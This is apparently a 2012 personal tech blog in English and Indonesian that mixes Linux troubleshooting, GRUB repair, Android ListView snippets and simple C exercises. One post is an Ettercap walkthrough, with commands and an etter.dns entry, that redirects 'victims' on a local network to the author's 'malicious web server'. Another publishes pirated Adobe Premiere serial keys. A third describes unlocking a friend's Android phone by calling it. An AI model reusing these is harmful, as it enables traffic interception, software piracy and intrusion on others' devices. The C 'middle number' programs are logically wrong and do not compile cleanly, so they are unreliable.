[Linux] XFCE - Missing Window Border and System Button

This problem happen to me in last 2 days. When I login with xcfe desktop, I always found my window had no border and no minimize, maximize, and close button. I try to search this problem, and found the solution. Delete all files in this folder, and try to login again.
/home/youraccount/.cache/sessions/
*the folder .cache is hidden. Check the Show Hidden Files inside View Menu. 

Monday, September 10, 2012

WUBI - Install Inside Windows Missing

Have you ever when you trying to install Linux alongside with Windows and use WUBI, the install inside windows option is missing ? That's suck, because I must install from boot menu, so I must burn it into CD/DVD or flashdisk. Some forum said that the computer needs a big chunk to install inside Windows and other said you must download the latest WUBI to get this thing work.

But the problem, that two solutions above doesn't work for me :(
I tried to delete some files on my disk and hope the first solution works, but NO. Second, I have Kubuntu 12.04 which the latest version of Kubuntu. BUT, the WUBI still doesn't show the install alongside windows!!

The solution is, open your command prompt on windows and go into your DVD/CD or flashdisk where linux's master is. 
  1. Type (drive letter) :
  2. Type wubi --force
WUBI should open up and show the Install inside windows option ! :)

Friday, September 7, 2012

Download videos from Youtube with Chrome

In my linux, I confused to search any software to download videos from youtube. Because the Youtube downloader (PyTube)'s server seems to be down. So, the simple way, I download Chrome web browser and download this extension :
http://www.mandel-design.xf.cz/Chrome-Youtube-Downloader/?action=chrome
Everytime you open videos from youtube  pages, there will be a download button and which format that will you download. So simple, and I'm proud to use Chrome browser :)

HACK : Playing DNS Spoofing with Ettercap

Before sleep, I want to play with some tutorial on the net. It's about DNS spoofing, and used ettercap to do it! First, you must have ettercap installed on your computer. To download ettercap, type
sudo apt-get install ettercap-graphical
Now lets redirect our victim to websites of our choosing. First open a new console and change to our dns configuration file located in the following directory:
/usr/share/ettercap
Enter the following command to open the configuration file so we can edit it, I use gedit to edit it but you can use many other programs such as kedit:
gedit etter.dns
Now see the line that says microsoft.com A 198.182.196.56

That line will redirect the victim to 198.182.196.56 if they attempt to visit microsoft.com

I will give you an example by showing you I can redirect the victim to my own malicious web server running on my IP address (192.168.1.118) if they attempt to visit lets say http://www.facebook.com This example also uses a wildcard (*)We do this by adding the following line:
*.facebook.com A 192.168.1.118
Save it. Now We can issue the actual command that begins Ettercap and uses the dns spoofing addon:
ettercap -T -q -M arp:remote -P dns_spoof //
or if we want to target a specific victim IP address use this:
ettercap -i yourinterface -T -q -P dns_spoof -M ARP /herevictimslocalip/ //
Leave that running. The output that ettercap displays will clearly notify you as people are redirected.

[Linux] kde-config not found !

If you stuck with this error :
'The important program kde-config was not found! Please check whether you installed KDE correctly." 
Nothing to worry about, it's simple to fix it. This error happens because on KDE 4, kde-config is renamed to kde4-config. To fix the error, follow these steps :

  1. Enter /usr/bin
  2. Copy or rename (not recommended) kde4-config into kde-config. I suggest to copy it into kde-config, just type cp kde4-config kde-config
Good Luck !

Thursday, September 6, 2012

[Linux] Kernel Panic - not syncing: Attempted to kill idle task

I was opening my ubuntu last morning and the system loading for the long time. I thought that it still working on something, but I realize it gone freezes. So, I had to turn it off manually and try to booting again, and it's still the same.

It say that : 
Kernel panic - not syncing: Attempted to kill the idle task
PID 0, comm: swapper/1 Tainted: P  D   0
Call Trace: bla bla bla. 

(look at the screenshot below)

My laptop - Kernel panic

I try to google on it, and found some solutions :

  1. The error because of bug on ubuntu 12.04. (read this)
  2. It's the RAM problem, try to swap your RAM to another slots. If you have 2 RAMs in your computer, try to swap it. If you just have 1 RAM in your computer, try to move it into another slot.
  3. This works for me, try to use MemTest at your boot menu selection. After testing my memory, I can startup my linux again. 
I dont know exactly about this problem, I think it just a memory problem. Just in case, I update my linux's kernel.

BEST SOLUTION : UPGRADE YOUR KERNEL INTO THE LATEST ONE! 

Saturday, September 1, 2012

Repairing GRUB on Linux

Have you ever lost your GRUB loader because overwritten by Windows loader ? It's happen to me today, and I want to recovery it! It's not hard to do, you just need a Linux live CD/DVD to recovery your GRUB and these commands below. 
  1. First, boot your live linux and open the terminal. 
  2. Make sure you are login into root. If you're not, type sudo su and type your password . 
  3. Type fdisk -l to show all your harddisk drive partition list. 
  4. Search for your linux partition and remember it ! example my linux is at /dev/sda5
  5. okay then. I should mount it, so type mount /dev/sda5/ /mnt
  6. You should mount another system components by type this :
    • mount --bind /dev/ /mnt/dev
    • mount --bind /proc/ /mnt/proc
    • mount --bind /sys/ /mnt/sys
  7. Now, set your new root, type chroot /mnt
  8. Type update-grub to check if my Windows loader is detected too. 
  9. To install grub, type grub-install /dev/sda
  10. Okay, thats all, now try to reboot your computer, type reboot.
Oh , i tried this scenario also ! I try to delete the /boot/grub folder and try to recovery it, simple, just type grub-install /dev/sda and it will be created again by GRUB. 

And it works perfectly on my computer, may it will help you someday.

Friday, August 31, 2012

nothing to do

It's just 02.00 AM in my room, in my country, Indonesia and I cannot sleep :(
Still waiting for my wine, not the drink, WINE (Windows emulator) for linux. It says still 14% left to finish the download. Yeah, nothing to do here. Just check my twitter and facebook account, and no notification for me :(
Listening to my radio, tune on geronimo fm (106.1 FM) playing Mocca song.

Okay, try to sleep now, and keep the download alive.
But, I'm going check my e-mail first. Bye.

Friday, August 24, 2012

Logo Microsoft ganti lagi!

Dapet info dari technet, ternyata Microsoft mengganti logo perusahaannya setelah bertahan 25 tahun. Lebih lengkapnya baca disini

blogs.technet.com/b/microsoft_blog/archive/2012/08/23/microsoft-unveils-a-new-look.aspx


Thursday, August 23, 2012

Mengembalikan Start Menu di Windows 8

Metro adalah sebutan dari User Interface windows 8 yang baru. Dengan tampilan kotak - kotak yang memang didesain untuk perangkat touchscreen ini mungkin sangat tidak cocok untuk digunakan di komputer yang masih menggunakan pointing device, dalam hal ini seperti mouse. Karena, tombolnya begitu besar, ketika menggunakan mouse, jarak pindah antara 1 tombol dgn yang lain akan sangat jauh.

Itu juga bagian dari pengalaman saya menggunakan windows 8, dan akhirnya saya menghapusnya kembali ke windows 7 :D
Nah, bagi anda yang kepengen pakai windows 8 tapi ga enak kalau pake metro, ada software gratis dan open-source yang akan menggantikan tampilan start menu anda.

Try this,
Download

ADOBE Premiere CS4 Serial :)

This night, suddenly my adobe premiere cs 4.0 serial number was detected as blacklisted. So I google it and found some serial number. Here you go :


ADOBE PREMIERE PRO CS4 SERIAL KEYS FREE
1132-1033-0380-3409-5427-6334
1132-1686-5385-1891-1718-6945


PIRATES P-)

Amankan privasi kamu!

Saya sangat terganggu dengan overprotektifnya penyedia ISP saat ini. Dikit2 situs diblokir, ada konten2 berbahaya ataupun berisi proxy juga kena block.

Cara membukanya bisa menggunakan proxy. Banyak free proxy di internet. Namun jika kena block pas mau dibuka kan sama aja. Ada tools bagus open-source pula, namanya TOR (The Onion Router). Tool ini akan membantu anda menyembunyikan identitas anda di internet.

Bisa didownload di https://www.torproject.org/
Untuk Windows saya sarankan menggunakan Advanced TOR.
Untuk pengguna Android, bisa pakai Orbot di Google play.

Kalkulator penjumlahan 4bit

Jalan2 di google play nemu software emulator elektronika yang namanya DroidTesla (ada yg gratis n bayar). Setelah saya download yang gratis karena yg bayar ga punya uang :p trus bingung mau ngapain.

Mikir2 「(゚ペ) dulu, setelah liat2 fiturnya, ternyata menarik juga. Kepikiran membuat rangkaian kalkulator mini tapi hanya bisa penjumlahan namanya juga newbie.. hehehe.

Daripada lama2 kan cuma coba aplikasi tadi. aku buat terbatas 4-bit. Jadi hanya bisa melakukan penjumlahan sampai 16. Inputanya menggunakan sakelar yg mengartikan angka biner, 1 jika aktif,  0 jika mati. Outputnya menggunakan led, pembacaanya juga dalam angka biner.

Ada 8 sakelar, 4 pertama adalah angka 1, 4 selanjutnya adalah angka kedua. Misalnya 1+2 = 3. Berarti 4 sakelar pertama diset : ON, OFF, OFF, OFF dan 4 sakelar setelahnya diset : OFF, ON, OFF, OFF. Dan nantinya di lednya urutanya adalah MATI, MATI,NYALA, NYALA, atau bisa dibaca 0011 yaitu 3.


Hapus Linux bermasalah dengan GRUB?

Masalah yang rumit yg kita hadapi ketika melakukan penghapusan partisi linux. Penghapusanya memang mudah, tapi ketika tidak dhapus dgn benar, pasti komputer akan mengalami masalah dgn booting. Ya, itu karena GRUB tidak dihapus dengan benar.

Jika sudah terlanjur, dan anda sangat membutuhkan windows dikomputer anda. Syaratnya anda harus punya master dari Windows, dan lakukan repair denganya.

Gunakan master windows dan masuk ke system command atau command prompt. Simpel saja, ketikan FIXMBR dan tekan enter. Coba restart apakah sudah bisa booting kembali. . :)

Friday, June 15, 2012

Belajar Cracking [OllyDbg]

Beberapa waktu mumpung liburan, tertarik belajar yang namanya low-level language, yaitu assembly. Dimulai dari beli buku "Perancangan Sistem Operasi" hasil tulisan pak Budi Halus Santoso, lumayan membantu saya untuk belajar basic - basic bahasa assembly. Tapi daripada membuat aplikasi, mending bongkar aplikasi lebih seru.

Nah, setelah coba - coba, akhirnya berhasil bongkar aplikasi Crack Challenge dengan level yang sangat mudah. Berikut aplikasinya http://adf.ly/9jyz5. Untuk pembongkaran aplikasinya dibutuhkan program OllyDbg (www.ollydbg.de). Program yang sangat direkomendasikan untuk hal ini. Selain OllyDbg, masih ada banyak seperti IDA, WinDisasm, dll.

Ini tutorialnya (download)

fcomputer.

Friday, June 8, 2012

[BYPASS] Android Screen-Lock Pattern

Bagi yang pengen jailin HP temenya, yang ternyata HPnya Android menggunakan Screen-Lock Pattern. Fitur ini mungkin bisa dibypass dengan menggunakan keberuntungan, namun keberuntungan orang berbeda - beda :P
Saya akan sharing tentang bagaimana cara bypass screen-lock ini, alat - alat yang dibutuhkan :
1. HP
2. Pulsa cukup untuk telpon

Langkah - langkahnya sebagai berikut :
1. Siapkan HP kamu beserta pulsanya, HP korban berada dalam kondisi terkunci.
2. Silahkan telpon HP korban menggunakan HP kamu.
3. HP milik korban akan secara otomatis menampilkan pilihan Angkat atau Tutup telpon.
4. Angkat telpon, dan segera pencet tombol menu untuk menampilkan desktop Android.
5. Tutup telpon kamu, HP korban sudah tidak terkunci lagi :)

*Tidak semua HP Android bisa dibypass, percobaan yang saya lakukan sukses di Android Samsung Galaxy Young, namun gagal di Smartfren Andro (Hisense E910)



Doman Baru - www.f-comp.com

Akhirnya, setelah lama bermimpi punya domain sendiri, mimpi itu dikabulkan oleh intuit. Berkat intuit, sekarang blog fcomputer dialamatkan di www.f-comp.com. Sebenernya agak kurang suka dengan f-comp, ya bagaimana lagi karena fcomputer.com atau fcomp.com sudah terpakai, daripada fcomputer.net, tetep setia pakai .com.

Kemarin sempat bingung untuk redirecting dari intuit ke blogger, setelah googling, akhirnya ketemu situs ini.
Lumayan pusing memang jika menggunakan tampilan blogger yang baru (menu publishing di setting tidak ada), mungkin anda harus memindahkan dulu ke tampilan lama.


Wednesday, March 14, 2012

Using Listview on Android

During my holidays, sometimes i got bored with my computer. So I decided to learn some Android's component. ListView it is. Seems to be little difficult to program the listview, I learn from another source to understand and solve this problem.


Lets go to the point, first, you must initialize the array to input the data. Use arrayadapter to set the array.

private ArrayAdapter dataAdapter; 
dataAdapter = new ArrayAdapter(this, android.R.layout.simple_expandable_list_item_1);
list = (ListView) findViewById(R.id.listView1); 
list.setAdapter(dataAdapter);
On my project, listView1 is my listView.Change the variable inside the function findViewById to your ListView's name on your project. If you want to add some data inside the list, add this function :
dataAdapter.add("Hello World");
Compile and run the program. Next step, set event listener to component, so we can get the event when list is pressed.
 
list.setOnItemClickListener(new AdapterView.OnItemClickListener() {
public void onItemClick(AdapterView arg0, View arg1, int arg2,
long arg3) {
Object o = list.getItemAtPosition(arg2);
// get clicked string by using o.toString();
}
 Ok done, Im sorry its not perfect at all.

Sunday, March 11, 2012

[C++] Mencari Bilangan Tengah dari 3 Bilangan

Daripada ga ada kerjaan, saya akan share tentang program yang sangat simpel, mungkin akan berguna bagi anda ketika anda disuruh buat program yang sama tapi malas menulis, kan bisa tinggal kopas dari sini..

wakakakkaakaka.............

Langsung saja, user disuruh input 3 bilangan, dan outputnya akan menampilkan bilangan tengah dari ke 3 bilangan tersebut. Contoh : 3 4 5, outputnya akan 4. Dengan cara membandingkan satu sama lain, maka program ini akan berjalan dengan lancar .. (SEMOGA)

Pembandingan menggunakan if :
int main() {
   int a,c;
   int b = 0;
   printf ("Inputkan 3 bilangan berbeda \n\n");
   printf ("Bilangan pertama : ");
   scanf("%i",&a);
   printf ("Bilangan kedua : ");
   scanf("%i", &b);
   printf ("Bilangan ketiga : ");
   scanf("%i", &c);
   printf ("\n");
  
   if (b>a && a>c) {
     printf("%i", a);
   } else if (a>b && b>c) {
     printf("%i", b);
   } else if (c>a && b>c) {
     printf("%i", c);
   } else printf("%i", b);
   getch();
}
Mungkin jika ingin sedikit tantangan, anda bisa mengganti if diatas dengan switch. Tentunya ada aturan lain jika menggunakan switch. Dalam switch 0 = false, dan 1 = true.
int main() {
   int a,c;
   int b = 0;
   printf ("Inputkan 3 bilangan berbeda \n\n");
   printf ("Bilangan pertama : ");
   scanf("%i",&a);
   printf ("Bilangan kedua : ");
   scanf("%i", &b);
   printf ("Bilangan ketiga : ");
   scanf("%i", &c);
   printf ("\n");
 
  

   switch (b>a && a > c) {
     case 1 : default: printf("%i adalah bilangan tengah",a); break;
     default : switch (a>b && b>c) {
                case 1 : printf("%i adalah bilangan tengah",b); break;
                 case 0 : switch(c>a && b>c) {
                            case 1 : printf("%i adalah bilangan tengah",c); break;
                            case 0  : printf("%i adalah bilangan tengah",b); break;
                                       
                           }
   }
  
       
   getch();
}


[C++] Membuat Pigura Dengan Dev-C++

Iseng - iseng sih sebenernya lihat soal - soal yang di berikan asdos pas di laboratorium, ada soal disuruh bikin gambar pigura dengan inputan sisinya.
Jika nginputin 3 maka keluar :

Share